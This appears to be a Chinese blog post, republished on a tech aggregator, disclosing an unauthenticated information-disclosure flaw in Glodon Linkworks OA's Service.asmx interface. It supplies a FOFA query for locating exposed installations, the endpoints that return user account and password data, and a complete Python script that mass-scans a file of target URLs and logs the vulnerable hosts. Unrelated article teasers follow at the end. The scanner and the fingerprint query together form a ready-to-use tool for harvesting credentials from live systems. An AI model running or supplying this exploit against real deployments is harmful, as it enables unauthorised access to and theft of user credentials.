广联达 Linkworks办公OA Service.asmx接口存在信息泄露漏洞

devtools/2024/10/11 2:42:50/

漏洞描述

广联达科技股份有限公司以建设工程领域专业应用为核心基础支撑,提供一百余款基于“端+云+大数据”产品/服务,提供产业大数据、产业新金融等增值服务的数字建筑平台服务商。广联达OA存在信息泄露漏洞,由于某些接口没有鉴权,导致未经身份认证的远程攻击者可以利用该接口输出用户的账号密码。

漏洞复现

FOFA

python">app="Glodon-企业管理产品"

POC

python">IP+/Org/service/Service.asmx查看所有用户
/Org/service/Service.asmx/GetUserXml4GEPS
查看账户密码
/Org/service/Service.asmx/GetUserXml4GEPS

查看账户密码

python脚本

import argparse  
import time  
import requests  
from urllib.parse import urlsplit  
import warnings  
from urllib3.exceptions import InsecureRequestWarning  color_red = '\033[91m'  
color_green = '\033[92m'  
color_blue = '\033[94m'  
color_reset = '\033[0m'  def get_url(file):  with open(file, 'r', encoding='utf-8') as f:  for url in f:  url = url.replace('\n', '')  if "http" not in url:  url = "http://" + url  parsed_url = urlsplit(url)  base_url = parsed_url.scheme + "://" + parsed_url.netloc  send_req(base_url)  def write_result(content):  with open("result.txt", "a", encoding="UTF-8") as f:  f.write('{}\n'.format(content))  warnings.filterwarnings("ignore", category=InsecureRequestWarning)  def send_req(url_check):  url = url_check + '/Org/service/Service.asmx/GetAllUsersXml'  header = {  "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",  'Connection': 'close'  }  try:  response = requests.get(url=url, headers=header, verify=False, timeout=3)  if response.status_code == 200 and "<?xml" in response.text and "UserId=" in response.text and "SUserId=" in response.text and "Code=" in response.text:  response = requests.get(url=url_check + '/Org/service/Service.asmx/GetUserXml4GEPS', headers=header, verify=False, timeout=3)  if response.status_code == 200:  result2 = f"{url_check}/Org/service/Service.asmx/GetUserXml4GEPS"  print(color_red + result2 + color_reset)  # Added color_reset to avoid colored text issues  write_result(result2)  time.sleep(1)  except Exception as e:  pass  if __name__ == '__main__':  parser = argparse.ArgumentParser()  parser.add_argument("-f", "--file", help="URL地址文件")  args = parser.parse_args()  if args.file:  get_url(args.file)  else:  print("使用-f加url文件地址")

执行效果


http://www.ppmy.cn/devtools/123939.html

相关文章

【Nacos架构 原理】内核设计之Nacos一致性协议

文章目录 Nacos一致性协议为什么需要一致性协议Nacos选择了Raft&#xff08;强一致性&#xff09;&Distro&#xff08;最终一致性&#xff09;服务发现角度配置管理角度 Nacos自研Distro协议背景设计思想数据初始化数据校验写操作读操作 Nacos一致性协议 为什么需要一致性…

溯变:守护天使 | OPENAIGC开发者大赛企业组优秀作品

在第二届拯救者杯OPENAIGC开发者大赛中&#xff0c;涌现出一批技术突出、创意卓越的作品。为了让这些优秀项目被更多人看到&#xff0c;我们特意开设了优秀作品报道专栏&#xff0c;旨在展示其独特之处和开发者的精彩故事。 无论您是技术专家还是爱好者&#xff0c;希望能带给…

QT 实现QMessageBox::about()信息自定义显示

这是我记录Qt学习过程的第四篇心得文章&#xff0c;主要是方便自己编写的应用程序显示“关于信息”&#xff0c;对QMessageBox::about()输入信息进行规范&#xff0c;可以设置应用程序名称&#xff0c;通过定义宏从pro文件获取应用程序版本号&#xff0c;以及编译程序的QT版本、…

使用Diskgenius系统迁移

使用Diskgenius系统迁移 1、使用系统迁移2、注意点3、新备份的系统盘装在电脑上可能出现盘符错乱导致开机不进入桌面情况 1、使用系统迁移 参考视频&#xff1a; DiskGenius无损系统迁移&#xff0c;换硬盘无需重装系统和软件 2、注意点 1&#xff09;新的硬盘里面的所有资料…

【Vue】vue-admin-template项目搭建

准备 node环境 node&#xff1a;v16.12.0npm&#xff1a;8.1.0 vue-element-admin下载 官网&#xff1a;https://panjiachen.github.io/vue-element-admin-site/guide/ 我这边下载的是4.4.0版本的&#xff0c;使用其他版本可能会因为所需要的node和npm版本过低或过高导致异常…

网站集群批量管理-Ansible(playbook)

1.剧本概述 1. playbook 文件,用于长久保存并且实现批量管理,维护,部署的文件. 类似于脚本存放命令和变量 2. 剧本yaml格式,yaml格式的文件:空格,冒号 2. 区别 ans-playbookans ad-hoc共同点批量管理,使用模块批量管理,使用模块区别重复调用不是很方便,不容易重复场景部署服务…

SpringBoot高级并发实践:自定义线程池与@Async异步调用深度解析

文章目录 同步编程&异步编程线程池为什么要使用线程池&#xff1f;Spring自定义线程池SpringBoot轻松调用线程池总结 测试demo链接 同步编程&异步编程 在Java并发编程中&#xff0c;同步和异步是两种常见的处理方式。 同步是指多个任务按顺序执行&#xff0c;一个任务的…

毕设 大数据抖音短视频数据分析与可视化(源码)

文章目录 0 前言1 课题背景2 数据清洗3 数据可视化地区-用户观看时间分界线每周观看观看路径发布地点视频时长整体点赞、完播 4 进阶分析相关性分析留存率 5 深度分析客户价值判断 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕…